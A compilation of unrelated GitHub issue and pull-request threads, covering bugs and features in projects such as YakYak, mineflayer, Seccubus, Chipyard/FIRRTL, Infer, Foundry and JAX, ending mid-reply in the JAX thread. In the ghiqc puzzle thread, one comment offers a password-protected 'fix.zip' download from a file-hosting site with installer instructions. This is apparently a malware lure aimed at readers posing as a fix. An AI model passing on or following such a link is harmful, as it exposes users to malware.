Sent images always saved to Google Photos account

Would love an option to stop the app from saving every image sent through the client to my Google Photos account. I happened to check my Google photos account after using YakYak to find every silly meme or screen shot I'd sent sitting there in my Camera library.

I believe this an hangouts feature, not much that can be done as the images are stored in google photos
do you think there's an alternative? I don't enjoy this either for the same reasons :)

I just noticed this today. I'm not sure this is a hangouts feature.
A quick test by closing yakyak and just using 'https://hangouts.google.com/' does not upload any images sent to 'https://photos.google.com/'.
Is this something yakyak is doing directly, or maybe a "feature" of the API being used?

it's probably a feature of API being used, which was retro-engineered.
Maybe there's a way to flag it, a good starting point would be to see if tdryer/hangups has any option for it


PLEASE JUST USE THE DOORS

GRAHH

This is a mineflayer issue, not a mindcraft issue. It is my number one feature request for the mineflayer pathfinder package.

okay then
uhh
are they working on fixing it over at mineflayer

There were several related issues a few years ago, but no updates since.
https://github.com/PrismarineJS/mineflayer-pathfinder/issues/12
https://github.com/PrismarineJS/mineflayer-pathfinder/issues/13
https://github.com/PrismarineJS/mineflayer-pathfinder/issues/20
https://github.com/PrismarineJS/mineflayer-pathfinder/issues/300

Yeah, that's super confusing problem 😞


Fix formatting

Codecov Report

Merging #213 (fcb041d) into master (9e1d0f6) will not change coverage.
The diff coverage is n/a.

:exclamation: Current head fcb041d differs from pull request most recent head 29ba969. Consider uploading reports for the commit 29ba969 to get more accurate results

@@            Coverage Diff            @@
##             master     #213   +/-   ##
=========================================
  Coverage     73.66%   73.66%
  Complexity      783      783
=========================================
  Files           101      101
  Lines          2404     2404
  Branches        271      271
=========================================
  Hits           1771     1771
  Misses          544      544
  Partials         89       89

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 9e1d0f6...29ba969. Read the comment docs.


Support arm64 arch for macOS and linux

Support arm64 arch for macOS and linux.
Description
copilot-cli supports arm64 from:

macOS: https://github.com/aws/copilot-cli/releases/tag/v1.10.1
linux: https://github.com/aws/copilot-cli/releases/tag/v0.3.0

Types of changes

[x] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)

How Has This Been Tested?
Tested on MacBook Pro M1.
Checklist:

[ ] I have updated the documentation accordingly.
[ ] I have added tests to cover my changes.

thanks @kouhei-fuji


Wasm event data

Ran tests locally, everything seems to pass.

Chiming in post-holiday: LGTM. Nice work, Sarah.


Expose defaultQuery and other options in graphiql?

Whenever me or any developer opens graphiql I want to list all queries and mutations that are possible to him, so its easier to test the api immediately. I generally have a .md file that lists all the mutations to seed the database so this will be helpful in this case also which I will use  to populate the default query.
Or else since postgraphql already knows all the queries and mutations can it populate all of them with maybe empty values so that we could try it out without painful typing (something like swagger)?

In the top right corner of any instance of GraphiQL is a documentation explorer 😊
For example see the SWAPI GraphiQL instance: http://graphql.org/swapi-graphql
From that you can explore the GraphQL API. Perhaps PostGraphQL should open the documentation explorer by default on large screens? I’d be happy to merge a PR that implements this.
I’m going to close, but let me know if I’m missing something in your question/feature request 😊


Nikto import only shows a single host per vulnerability.

Running a Nikto scan against multiple ports and servers, I've found a few issues.

The UI only shows the results for one server, despite the IVIL containing all the servers. (same vulnerabilities for each server).
Similarly for ports, only the vulnerabilities for one port shows up.
If using hostnames (server1.com), these are inserted into the "IP" column.

IVIL (filtered for just 1 vulnerability)
<?xml version="1.0" standalone='yes'?>
<IVIL version="0.2">
	<addressee>
		<program>Seccubus</program>
		<programSpecificData>
			<workspace>Preprod</workspace>
			<scan>NiktoAll</scan>
		</programSpecificData>
	</addressee>
	<sender>
		<scanner_type>Nikto</scanner_type>
		<version>2.1.6</version>
		<timestamp>20180911163103</timestamp>
	</sender>
	<findings>
		<finding>
			<ip>server1.com</ip>
			<hostname></hostname>
			<port>8080/tcp</port>
			<id>999957</id>
			<severity>2</severity>
			<finding_txt>GET The anti-clickjacking X-Frame-Options header is not present.</finding_txt>
		</finding>
		<finding>
			<ip>server1.com</ip>
			<hostname></hostname>
			<port>8043/tcp</port>
			<id>999957</id>
			<severity>2</severity>
			<finding_txt>GET The anti-clickjacking X-Frame-Options header is not present.</finding_txt>
		</finding>
		<finding>
			<ip>server2.com</ip>
			<hostname></hostname>
			<port>8080/tcp</port>
			<id>999957</id>
			<severity>2</severity>
			<finding_txt>GET The anti-clickjacking X-Frame-Options header is not present.</finding_txt>
		</finding>
		<finding>
			<ip>server2.com</ip>
			<hostname></hostname>
			<port>8043/tcp</port>
			<id>999957</id>
			<severity>2</severity>
			<finding_txt>GET The anti-clickjacking X-Frame-Options header is not present.</finding_txt>
		</finding>
	</findings>
</IVIL>

NBE (filtered for just 1 vulnerability):
timestamps|network|host|port|nikto_id|prio|Nikto v2.1.6/2.1.5
results||server1.com|8080|999957|Security Warning|GET The anti-clickjacking X-Frame-Options header is not present.
results||server1.com|8043|999957|Security Warning|GET The anti-clickjacking X-Frame-Options header is not present.
results||server2.com|8080|999957|Security Warning|GET The anti-clickjacking X-Frame-Options header is not present.
results||server2.com|8043|999957|Security Warning|GET The anti-clickjacking X-Frame-Options header is not present.

UI (filtered for just 1 vulnerability):

Seeing this:
https://github.com/schubergphilis/Seccubus/blob/a8ad6cacea2f9740beb87820a14f6f06a2c7a853/lib/Seccubus/IVIL.pm#L132-L192
It might seem like it is on purpose, I'm honestly having a hard time reading Perl code, but it seems like we might be aggregating vulnerabilities into a single finding. If this is the case, would it be possible to indicate that in the UI somehow? E.g. list multiple hostnames/ips per finding?

yes, seems that it is a kind of side effect caused by CDN normalization. The port number is ignored. Is it bad? Should we change id?

The cdn feature should only be there if —cdn is used on the command line iirc.
Could this be related to resolving the hostname?


Fix AskScript program on a diagram

The AskQL diagram in our README.md has a few errors in AskScript syntax.
Instead of this:

Please use this program (fixed also indents, please use 3 spaces):
ask {
   const users = query {
      users {
         friends
      }
   }

   for (const user of users) {
      for (const friend of user.friends) {
         if (moreDataNeeded(friend)) {
            fetchAdditionalData(friend)
         }
      }
   }
   return allDataAtOnce
}

What is allDataAtOnce? @czerwinskilukasz1

This is all pseudocode. @mhagmajer

How about we make it a working program and include in an unit test? This can be done as next iteration because I already like the changes to indentation

The main reason for the diagram is to explain in a concise visual way what AskQL is about.
It's a combination of code and a visual.
Using variable names that explain the purpose is widely used.
E.g. when someone sees:

or:

they don't ask "hey, what this something() is, it's not even defined" nor they can't comprehend because Coffee class is unknown.


links are broken

which links in particular?

Like, most of them?  Did you even try any?  Literally the first 3 links are all broken, and tons of the rest...

ain't cool

show me the code!!!!!!!!

Github links broken. Website links broken.

I thought it's work in progress

All I saw was the different repos (not part of this project), but yeah you're right, all the site links are 404's.

Thank you all for showing interest in the repository, however I am a bit upset that this was posted in HN, this was a WIP I tinkered on my free time so its far from perfect. However, I'll focus on the issues in the repository for the next couple of days so hang on tight 😄

Update: http://tmrts.com/go-patterns no longer has broken links, and a few more patterns, more updates to come!

still broken.

@supermarin do you mean the incomplete patterns or is there a broken link in the implemented patterns? if former, maybe we can remove the incomplete ones for now

I've arranged the repository to fix the broken links and added indication to unfinished patterns, feel free to re-open this if there are still problems


ignore_issue.rs:58-61: Enable returns_true_on_ignore test...

The puzzle 36-05f0f2e8 from #36 has to be resolved:
https://github.com/h1alexbel/ghiqc/blob/44c6827b11d2fe04729f18a9abd248a150950938/src/args/ignore_issue.rs#L58-L61
The puzzle was created by @h1alexbel on 26-Aug-24.
Estimate: 30 minutes,  role: DEV.
If you have any technical questions, don't ask me, submit new tickets instead. The task will be "done" when the problem is fixed and the text of the puzzle is removed from the source code. Here is more about PDD and about me.

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

@0pdd Main quality problem: Lack of clear problem description. Suggestion: Provide a concise summary...

I see you're talking to me, but I can't reply since I'm not a chat bot.

@0pdd Main quality problem: Lack of clear problem description. Suggestion: Provide a concise summary...

I see you're talking to me, but I can't reply since I'm not a chat bot.


add an alias

Description of the change:
Motivation for the change:
Checklist
If the pull request includes user-facing changes, extra documentation is required:

[ ] Add a new changelog fragment in changelog/fragments (see changelog/fragments/00-template.yaml)
[ ] Add or update relevant sections of the docs website in website/content/en/docs

/potato

/rerun-tests

/rerun-tests

/rerun-tests

/potato

/rerun-tests

/rerun-tests

/rerun-tests

/rerun-tests

/rerun-tests

/rerun-tests


Update package.json

Support to react 17.*
What does this PR do?
Where should the reviewer start?
How should this be manually tested?
Any background context you want to provide?
What are the relevant issues (if any)?
Screenshots (if appropriate)
Obligatory GIF

please merge this pull request ASAP. and commit to npm. @kamui @ehaas @ehaas @hector @cmcavoy


Portalicious: All Projects, All Pretty

See AB#29541
Also AB#29541
Some parts are not the-most-pretty yet (see my inline-comments);
But it works.

[!TIP]
See preview: https://lively-river-04adce503-5643.westeurope.5.azurestaticapps.net/nl/projects

Checklist

[x] I have performed a self-review of my code
[x] I have added tests wherever relevant
[ ] I have made sure that all automated checks pass before requesting a review
[ ] ~I do not need any deviation from our PR guidelines~

Feel free to continue working in this branch or add additional tweaks/features in future PRs.

Moved to #5675


Allow opting into Microsoft Update on Windows 7.

In order to do this, we'll use a tweaked version of Microsoft's OptIn example VBS script, and then call upon it from within the installer.
Fixes #124

Updated my PR for the change to WIN7SSU from WIN7WUA in setup.nsi. 😃

Tweaked and merged in d3c0b43 with a different strategy of natively calling the COM method, as we discussed. Thanks heaps!


PWMBase module is instanced in .fir file but not exisiting in final rtl codes ? why

module PWMTL_pwm :
input clock : Clock
input reset : UInt<1>
output io : {interrupts : {}, flip in : {0 : {a : {flip ready : UInt<1>, valid : UInt<1>, bits : {opcode : UInt<3>, param : UInt<3>, size : UInt<2>, source : UInt<7>, address : UInt<14>, mask : UInt<4>, data : UInt<32>}}, flip b : {flip ready : UInt<1>, valid : UInt<1>, bits : {opcode : UInt<3>, param : UInt<2>, size : UInt<2>, source : UInt<7>, address : UInt<14>, mask : UInt<4>, data : UInt<32>}}, c : {flip ready : UInt<1>, valid : UInt<1>, bits : {opcode : UInt<3>, param : UInt<3>, size : UInt<2>, source : UInt<7>, address : UInt<14>, data : UInt<32>, error : UInt<1>}}, flip d : {flip ready : UInt<1>, valid : UInt<1>, bits : {opcode : UInt<3>, param : UInt<2>, size : UInt<2>, source : UInt<7>, sink : UInt<1>, addr_lo : UInt<2>, data : UInt<32>, error : UInt<1>}}, e : {flip ready : UInt<1>, valid : UInt<1>, bits : {sink : UInt<1>}}}}, pwmout : UInt<1>}
clock is invalid
reset is invalid
io is invalid
reg period : UInt<32>, clock @[PWM.scala 49:19]
reg duty : UInt<32>, clock @[PWM.scala 51:17]
reg enable : UInt<1>, clock with : (reset => (reset, UInt<1>("h00"))) @[PWM.scala 53:23]
inst base of PWMBase @[PWM.scala 55:20]

// comments :  in  lines above , PWMbase shall be instanced.  however, at the end , PWMBase module is totally removed, I don't know why , I just follow the instruction steps make PROJECT=example Confing=  PWMConfig, nothing else. The result is PWMBase disappear
Any one who have same situations that could share ?
io.pwmout <= base.io.pwmout @[PWM.scala 56:13]

I debugged for a whole day.
I noticed if pwmout is not pulled to TestHarness, then firrtl will optimize the rtl codes , which leads PWMBase is totally removed.
I manually update the fir file and connect the pwmout to TestHarness to make every module present.
Now, I have a question, how to pull pwmout in chisel/scala language ?
class TestHarness(implicit val p: Parameters) extends Module {
val io = IO(new Bundle {
val success = Output(Bool())
val pwmout = Output(Bool())
})
val dut = p(BuildTop)(p)
dut.connectSimAXIMem()
io.success := dut.connectSimSerial()
io.pwmout  := dut.pwmout                     <======  it report error during make CONFIG=PWMConfig
}
Please help ........
Thanks,
Steven

@jackkoenig would know more about why firrtl is optimizing away the PWM.
For the error you are encountering now it would be helpful to see the output, what you've done seems reasonable if pwmout is a Bool

The problem was that the DontTouch annotations weren't being passed  to the FIRRTL compiler. I've fixed those in 073c16961e91dad1c119286dfc0e737730ae6f9c.


Create ashrulkhair.html

Your pull request needs further work because of the following reason(s):

Your file is not in the Friends folder.
Your file does not clearly show a link to your github profile.

Once you have resolved the issues, comment on this request to be re-judged
This is an automated response, beep boop.
if you think there is a mistake, contact a maintainer

885eee2c9932a165910e593473bf1a223878586c

If you could do it in english, that would be great.

This PR has been idle for more than 24 hours, and will now be closed. Feel free to re-open.
This is an automated response, beep boop.
if you think there is a mistake, contact a maintainer

885eee2c9932a165910e593473bf1a223878586c


⚠ Processors has degraded performance

In fbd34cd, Processors ($STATUS_URL) experienced degraded performance:

HTTP code: 200
Response time: 71 ms

Resolved: Processors performance has improved in 67e7d36.


Support jenv version <...> command and .java-version for Windows

Using jenv via brew install on macos for a while :)
Switching on MS Windows, Jenv-for-Windows is a really cool alternative, thanks for that !
A missing and very helpful option is the fact so support  :
jenv version <...>
that will create a file .java-version locally where you are (for you current project as instance)
and next java -version command will use per defaut the jenv java version entry defined in the local .java-version
Is it a scheduled feature ?

Hi,
I think we already have what you mean.
The command is called jenv local <version>
It will save the directory you're in and if you execute java it will always use that specific version if you're inside of this folder
Please refer to the Readme. It's included in the video demo as well.
If I got you wrong or you have any additional questions or suggestions on how the readme could be improved feel free to reply
If this solved your issue please close it :)

Works fine, simple, efficient, thanks

jenv local <version>  works fine, simple, efficient, many thanks


cast run produces incorrect simulation of Arbitrum transaction (succeeds where it should fail)

Component
Cast
Have you ensured that all of these are up to date?

[X] Foundry
[X] Foundryup

What version of Foundry are you on?
forge 0.2.0 (9881e7d 2024-03-28T00:18:02.827635071Z)
What command(s) is the bug in?
cast run 0x1d66909d9039e5937406357449fad064edbb6d9c81944a8001ebfc4f0ba6d0b9 --rpc-url "https://arb1.arbitrum.io/rpc"
Operating System
Linux
Describe the bug
Transaction should run out of gas according to block explorers (ex: https://arbiscan.io/tx/0x1d66909d9039e5937406357449fad064edbb6d9c81944a8001ebfc4f0ba6d0b9), however when simulating in cast it succeeds:
cast run 0x1d66909d9039e5937406357449fad064edbb6d9c81944a8001ebfc4f0ba6d0b9 --rpc-url "https://arb1.arbitrum.io/rpc"
...
Transaction successfully executed.
Gas used: 611728

Thanks @impactdni2, confirming that this is indeed the case
However the failing return message states: Fail with error 'Transaction reverted silently', not that it ran out of gas - this may be useful in a further investigation.

For future reference: could be related to precompiles, should be investigated further
Possibly related: https://github.com/foundry-rs/foundry/issues/2997

Problem here looks to be the way gas limit is calculated for Arbitrum chain, according to  https://medium.com/offchainlabs/understanding-arbitrum-2-dimensional-fees-fd1d582596c9 it is L2 gas used + ( L1 calldata price * L1 calldata size) / (L2 gas price). In cast run we set block gas limit to what we get back from provider (in this case is 1,125,899,906,842,624 which is not right either as the effective execution gas limit is capped at 32 million: https://docs.arbitrum.io/build-decentralized-apps/arbitrum-vs-ethereum/block-numbers-and-time#block-gas-limit) hence this tx passes when simulate


Polyline representation by parameter 't'

Few times there was a need for parameter 't' for each point of polyline, this can be trivially calculated as a by-product of currently implemented method

closed by #36


[@rancher/components] Card.vue: Toggle box-shadow

The default styles for Card.vue contain a box-shadow. There are multiple instances where the box-shadow is undesirable and it would be nice if the box-shadow could be disabled for the card component.
I think the best course of action would be to remove the box-shadow entirely and allow the consumer to define box-shadows as needed, but I can see how this would be a regression in existing styles so it's probably best to keep box-shadow enabled by default and allow for disabling it.
🔳 Acceptance Criteria

[ ] When the box-shadow is disabled, the card component should have no visible box-shadow.
[ ] When the box-shadow is enabled, the card component should have the default box-shadow as defined in the current styles.
[ ] The box-shadow toggle should be easily accessible to the consumer, such as a prop or a CSS class.
[ ] Enable the box-shadow by default.
[ ] The toggle should work consistently across different browsers and devices.
[ ] The code changes should be backwards compatible and not break any existing functionality.
[ ] Update storybook to include information about the new toggle feature and how to use it.
[ ] Add unit tests to ensure the toggle works as expected.
[ ] The toggle should not affect any other styles or functionality of the card component.

Depends on what's decided on rancher/dashboard#8859 for the overall approach to cards.


Touchscreen fix

Hi there. I hope you dont mind as i saw some users are asking for touchscreen support.
Its an easy fix and documented on the rEFInd config - you cant use enable touch and enable mouse at the same time. You only have to choose 1. If you choose both, then the last entry takes precedence and the other gets disabled.
I saw in your config that you defined enable touch followed by enable mouse. So it process enable mouse instead and disables enable touch.
Here is sample of the config i use. I hope it helps.

Thank you! This is good feedback. Testing this now.

Valve needs a firmware and/ or a driver fix to properly support rEFInd's touch screen option (assuming rEFInd's touch option is not the problem).

It's possible for us to get this working with drivers added for rEFInd. Needs more investigation. I will happily merge a fix if someone else figures it out (after testing it myself of course).

No worries. For now Im ok with just scripting everything no GUI.

Yep, no worries. This was good feedback, as I was not aware that these two options would only load the last one enabled (and supersede the previous setting. Thank you for that information.
And yes, the config file for Clover seems a bit more daunting, but the framework is there in my code as a starting point for you to do something similar with Clover with a GUI. I did most of the development work through a VNC session on a Kubuntu computer. You can download Qt Creator for free for many Linux distributions, through the Discover app if you're using KDE Plasma. When I was finally able to test, I moved the files over to the Steam Deck, installed Qt Creator on my Steam Deck and then figured out the nuances there. Sudo commands would not function properly from the development version of the GUI, just as an FYI, but I knew that they worked from my previous testing. The install-GUI script also installs the minimum dependencies in order to compile, with hwinfo as well, which is needed for sudo-less grabbing of partition GUID info. Once the program was compiled though, it worked as I expected. That's just something to be ware of, if you go down the GUI route at some point. Thanks again for the feedback and info.

Yes the Clover config is overwhelming - 1100+ lines. But there is already a configuration GUI for it to easily edit it, but i dont wanna add it yet to the README as it might cause more issues in the end. It just needs python which is already installed by default in SteamOS so no extra dependency is needed.
Other than that i think im ready for the next release - i got some pretty good icons from the community which i will bundle in.

Closing this issue. Config setting provided but apparently this might also need a 3rd party driver to fix completely.

Yes, thank you for the feedback. I will continue to investigate if a generic EFI touchscreen driver can be found (and works) to fix this issue.
Interesting about Clover, but I hear Mac or Mac related, and I'm immediately not interested... Why do they make simple things not simple?!? But I digress. Thanks again.

Just another tidbit about Clover - yes generally it is used for hackintosh. You can also load custom ACPI / DSDT tables. I've already disassembled my DSDT and try to patch it for Fan Control but this is all foreign to me so hopefully someone else can step in and conti


Pinch [Zoom] and Pan Gesture of FormSample works only in Memory not OpenGL for UWP

Testing pan and pinch zoom gesture in W10M (950XL),
it works only with Memory but not OpenGL backend. It there any reason to deactivate pinch and pan for OpenGL?
I expect OpenGL backend to be more smooth than the memory backend.

Sorry, just realize it is duplicated


chore(idFromString): make error message friendlier

Description
The error alone is a bit cryptic, and if you're seeing it, the solution is somewhat buried in docs: https://developers.cloudflare.com/durable-objects/best-practices/access-durable-objects-from-a-worker/#parse-previously-created-ids-from-strings
This makes the idFromString error slightly friendlier

I have read the CLA Document and I hereby sign the CLA

Hey 👋,
As someone who's run into this before, would it make sense to also mention jurisdictions in the error message? That also needs to match: https://developers.cloudflare.com/durable-objects/reference/data-location/#restrict-durable-objects-to-a-jurisdiction

@DaniFoldi I'm not able to test/repro jurisdictions related errors locally with vitest-pool-workers. I run into: Error: Jurisdiction restrictions are not implemented in workerd..
Do the same requirements of having to first call newUniqueId() or idFromName() on the subnamespace apply?
I don't have strong opinions on including/omitting jurisdiction mention. It is also a namespace, so the current error message is still accurate w.r.t jurisdictions 😄

@DaniFoldi I don't think this particular error can be the result of using the wrong jurisdiction. If you use the wrong jurisdiction you'll get an ID that's valid for the namespace but points to a different object.


Allow minLength override from Index source

Feature? Yes. When initializing multiple indexes as sources, sometimes you want to return Index1 results when the input length reaches certain threshold, like 10 characters. Meanwhile, Index2 and  Index3 will return results at the default minLength option, which is 3.
A non-intrusive way to do this would be to add the minLenght option to index source options, so it can override the declared on autocomplete.

Hi @ItaloBC this should be doable yes, minLength today is handled for the dropdown as a whole here: https://github.com/algolia/autocomplete.js/blob/87ab35a2f94a6887edca43246c92f863a2e261e4/src/autocomplete/typeahead.js
The changes needed to make it a per-source parameter are unknown for now, if you want to give it at try go ahead!

Autocomplete v0 has been in low maintenance mode for a few years and we just released Autocomplete v1 so I'm closing this.
Resources

Getting Started
Changing Behavior Based on the Query


update package.json dependencies

A few little things, spurred by our recent continuous build failures.
I think I've gotten to the bottom of the weirdness with recent versions of grunt-contrib-jasmine:
https://github.com/gruntjs/grunt-contrib-jasmine/issues/193

LGTM

BTW, I tested this with the sample apps.


Change delay type to Long

This pull should fix the problem pointed out by @javaherisaber in #108
I changed the delay variable from seconds to milliseconds to reduce the gap between the real location and the puck.
The default value is still 1 second but it is possible to update it with locationEngine.updateDelayMs(...).
The old function locationEngine.updateDelay(...) wasn't deleted because of retrocompatibility.
In the first video you can see the problem and in the second video you can see it fixed with a delay of 250 milliseconds. The marker is the real location.
https://github.com/user-attachments/assets/f6cfb041-3972-47c8-8e8e-43c20668959d
https://github.com/user-attachments/assets/c473abdb-4d3a-4d92-81b3-679305d6f92e

Thanks for working on this. I think the issue #108 isn't about replay location, but about an actual GPS position. The library is based on 1s update rate from the GPS sensor. Just changing the the replay updates should not really improve this?

I made some test before this change and I found same bug. After my fix the puck seems more precise with replay or gps position.

All your changes affecting the classes in org.maplibre.navigation.android.navigation.v5.location.replay as the replay package point to, this engine is a replay engine, or with other words a mock/simulated route run.
Your videos use the snap-example, that is also using the mocked engine, and not real locations. If you try your changes with a real navigation, with real GPS usage, you will see that you changes having no affect to this.
Thanks for your try, and sorry for the confusion, but your changes are not fixing the issue described in #108. I will close this PR for that reason.


Android Compose Generics Objects and Extensions

Name of the Codelab or Codelab URL
https://developer.android.com/codelabs/basic-android-kotlin-compose-generics?continue=https%3A%2F%2Fdeveloper.android.com%2Fcourses%2Fpathways%2Fandroid-basics-compose-unit-3-pathway-1%23codelab-https%3A%2F%2Fdeveloper.android.com%2Fcodelabs%2Fbasic-android-kotlin-compose-generics#2
Describe the problem
The syntax for an enum class is incorrect. It shows () instead of {}
In which lesson and step of the codelab can this issue be found?
Lesson number + step number.

Hello @fabrizio1979,
Thank you for reaching out to us and reporting this typo. The image is updated:


Wrong endpoint on the TLS secret example

This snippet provided in that section uses 'web' as an endpoint instead of 'websecure'.

What does this PR do?

Motivation

More

[ ] Added/updated tests
[ ] Added/updated documentation

Additional Notes

Hi @yacinelazaar , if my understanding of https://traefik.slack.com/archives/C0CDT22PJ/p1573560589045800 is correct: the snippet you changed is referenced in https://docs.traefik.io/v2.0/routing/providers/kubernetes-crd/#middleware, and does not enable TLS: so the entry point has to be web (it is the port 80).
If you meant https://docs.traefik.io/routing/providers/kubernetes-crd/#tls, can you add websecure to the entry points list (and not replace the existing one) please?

Also, could you rebase this PR to the branch v2.0 please?


🚨 How to use latest version?

Please select v2.0 from switch branches/tags

is there any reason that makes you stay on v1.6 on the main branch?

a little question, is there any reason that makes you stay on v1.6 on the main branch?

For me, I found the latest version is unstable for now. After I generated images, generate button is not working after that (it can be clicked, but no processing), so I need to duplicate/re-open gradio tab. And doing over and over again when that generate button stuck.

a little question, is there any reason that makes you stay on v1.6 on the main branch?

For me, I found the latest version is unstable for now. After I generated images, generate button is not working after that (it can be clicked, but no processing), so I need to duplicate/re-open gradio tab. And doing over and over again when that generate button stuck.

ah yes, sometimes also restart ui doesn't work.

a little question, is there any reason that makes you stay on v1.6 on the main branch?

For me, I found the latest version is unstable for now. After I generated images, generate button is not working after that (it can be clicked, but no processing), so I need to duplicate/re-open gradio tab. And doing over and over again when that generate button stuck.

ah yes, sometimes also restart ui doesn't work.

same

@9Somboon yeah, i noticed that too lately (on v2.0).

https://github.com/gradio-app/gradio/pull/3022

@9Somboon please try without queue maybe works https://github.com/gradio-app/gradio/issues/2980


Include cspec docs in build

This is a rework of pull request #2108 that does less.

Mostly copying the layout of the sleigh docs

Adjust xsl include locations to use the canonical URL;
this should be in the system XML catalog if docbook-xsl is installed.
Works great on Debian without hardcoding the path.
We use xsltproc's --nonet flag to make sure this actually works offline.
Handy if you're paranoid, and also if you want it to work when sf.net project web service is down,
as it was earlier today.)

Don't pull any of these Linux-only tasks into the main build.

Fixes: #1856.

Note: I tested this on Debian 10 (buster) using the following command at the project root:
./gradlew buildDecompiler{Help,Documentation}{Html,Pdf}

The HTML output looks plausible, but I did not commit it because I have docbook-xsl V1.79.1 while the HTML in the tree right now is built with V1.78.1 and there's a bit of churn. (Anchor names change and xml:id attributes appear even though those have never been allowed in HTML syntax, at least.)
The PDF generation process appears to be doing largely the right things, too, except for some fonts I'm missing and a path prefix that's missing a trailing slash in decompileplugin_pdf.xsl.


Trying to detect integer overflow from UBSan example

I am trying to use Infer to detect the integer overflow in the following code, adapted from LLVM's UndefinedBehaviourSanitizer (the only difference is that I return k, so it does not get reported as dead):
// test.c
int main(int argc, char **argv) {
  int k = 0x7fffffff;
  k += argc;
  return k;
}

I run as follows (on Ubuntu 18.04):
% infer --version
Infer version v0.17.0
Copyright 2009 - present Facebook. All Rights Reserved.
% CC=clang-8 infer -- cc -m32 test.c -O0 -g # I've also tried without the `-m32`
Analysis finished in 555mss

  No issues found

Do you know why Infer isn't able to detect this (seemingly trivial) integer overflow? Are there some flags that I should be enabling?

First please note that detecting integer overflow in Infer is experimental for now.
Infer does not raise an alarm in your example because:

In the integer overflow checking, it does not address argc specifically as of now. On the other hand, in order to raise an integer overflow alarm there, it should know that given argc is always bigger than 0.
It requires an additional flag --bufferoverrun, which has been developed for detecting buffer overrun originally, but has a lot of false positives at the moment unfortunately.

So, if you run this,
// a.c
int foo(int argc) {
  int k = 0x7fffffff;
  k += argc;
  return k;
}

void goo() {
  foo(1);
}

you would get the following result.
$ infer --bufferoverrun -- gcc -c a.c
Found 1 issue

a.c:9: error: INTEGER_OVERFLOW_L1
<PHONE_NUMBER> + 1):signed32 by call to `foo`.
  7.
  8.   void goo() {
  9. >   foo(1);
  10.   }

Summary of the reports

  INTEGER_OVERFLOW_L1: 1

I hope this helps.

Yes, that helps a lot!! Thank you soooo much.


Initialize error

Hi There,
I'm trying to use this plugin with the token created directly in the paypal website https://developer.paypal.com/developer/applications/ Express Checkout via Braintree SDK - Sandbox Accounts but I receive only this error "I receive only this error "The Braintree client failed to initialize." without any other info...
The token I'm using is like this access_token$sandbox$nxptqtnwh3v9vmtc$a4864023dd2fdcc72a692ebb2f6e16dc
Is this a good token or I have to do some action before using it into the plugin?
Is it necessary to create a braintree account? (I already have a paypal account and I would like to maintain this)
Do you have
Thanks
Michele

This plugin is using Braintree account. You need a Braintree account to use this plugin.
Read Braintree docs here: https://developers.braintreepayments.com/


Tagged template literal breaks arrow function

…or maybe arrow function transform breaks tagged template literal?
Example:
const src = "() => tagged`template literal`";

const { code } = transform(src, {
  transforms: { dangerousTaggedTemplateString: true }
});

eval(code);

Expected:
code is valid javascript and can eval without error.
Actual:
code errors on eval: 'Unexpected identifier`.
See repro on code sandbox

Nice catch! Apparently this issue is specific to having an input start with an arrow function expression (or some other syntax element whose start is modified) and include a tagged template expression.


Adding an extra wait for RKE2 as it takes longer

Forget my comment... I got the idea because it's a component issue not due to the systemd service


Release!

I'd take a release including everything new since 19 September 2021 if you have some time.
Thanks!

Tagged release 3.6.0.


ClangImporter: handle -target-cpu for x86 targets

-mcpu is a deprecated "alias" (unsupported) on x86 targets for -mtune. Unlike -mcpu, -mtune simply tunes the code for the CPU but does not prevent execution on other targets. In order to match the behaviour of -mcpu on ARM, we must use both -march= and -mtune=. Adjust this behaviour to allow tuning of code for non-Darwin targets.

@swift-ci please test Windows platform

Could you add a test case as well?

@swift-ci please test Windows platform

Hmm, that is surprising ... the clang importer tests didn't catch this change. I can try to add a test case I suppose.

@swift-ci please test

@swift-ci please test macOS platform

@swift-ci please test macOS platform

@swift-ci please test macOS platform


error using jax.numpy.mean

The following script throws an error (see below for traceback) if the jit decorator is on. When I comment the jit-decorator out, it runs properly.
If this is deliberate, could someone clarify what causes this behavior?
from jax import jit
import jax.numpy as jnp
import numpy as np

@jit
def test(inputs,axis=(0,)):
    mean=jnp.mean(inputs,axis=axis,keepdims=True)

input_shape=(8,16)
inputs=np.random.uniform(size=input_shape)
test(inputs,axis=(0,))

Here's the traceback with the jit decorator on:
Traceback (most recent call last):
  File "bug.py", line 13, in <module>
    test(inputs,axis=(0,))
  File "/Users/mgbukov/jax/jax/api.py", line 148, in f_jitted
    out = xla.xla_call(flat_fun, *args_flat, device=device, backend=backend)
  File "/Users/mgbukov/jax/jax/core.py", line 569, in call_bind
    outs = primitive.impl(f, *args, **params)
  File "/Users/mgbukov/jax/jax/interpreters/xla.py", line 378, in _xla_call_impl
    compiled_fun = _xla_callable(fun, device, backend, *map(abstractify, args))
  File "/Users/mgbukov/jax/jax/linear_util.py", line 217, in cached_fun
    ans, f_prev = cached_fun_body(f, args)
  File "/Users/mgbukov/jax/jax/linear_util.py", line 214, in cached_fun_body
    return call(f, *args), f
  File "/Users/mgbukov/jax/jax/interpreters/xla.py", line 394, in _xla_callable
    jaxpr, (pvals, consts, env) = pe.trace_to_subjaxpr(fun, master, False).call_wrapped(pvals)
  File "/Users/mgbukov/jax/jax/linear_util.py", line 165, in call_wrapped
    ans = self.f(*args, **dict(self.params, **kwargs))
  File "bug.py", line 7, in test
    mean=jnp.mean(inputs,axis=axis,keepdims=True)
  File "/Users/mgbukov/jax/jax/numpy/lax_numpy.py", line 1100, in mean
    normalizer = onp.prod(onp.take(shape(a), axis))
  File "<__array_function__ internals>", line 6, in take
  File "/Users/mgbukov/miniconda3/envs/jax/lib/python3.7/site-packages/numpy/core/fromnumeric.py", line 194, in take
    return _wrapfunc(a, 'take', indices, axis=axis, out=out, mode=mode)
  File "/Users/mgbukov/miniconda3/envs/jax/lib/python3.7/site-packages/numpy/core/fromnumeric.py", line 58, in _wrapfunc
    return _wrapit(obj, method, *args, **kwds)
  File "/Users/mgbukov/miniconda3/envs/jax/lib/python3.7/site-packages/numpy/core/fromnumeric.py", line 47, in _wrapit
    result = getattr(asarray(obj), method)(*args, **kwds)
ValueError: setting an array element with a sequence.

You have to declare the axis parameter as static via the static_argnums argument of jit:
from jax import jit
import jax.numpy as jnp
import numpy as np
import jax

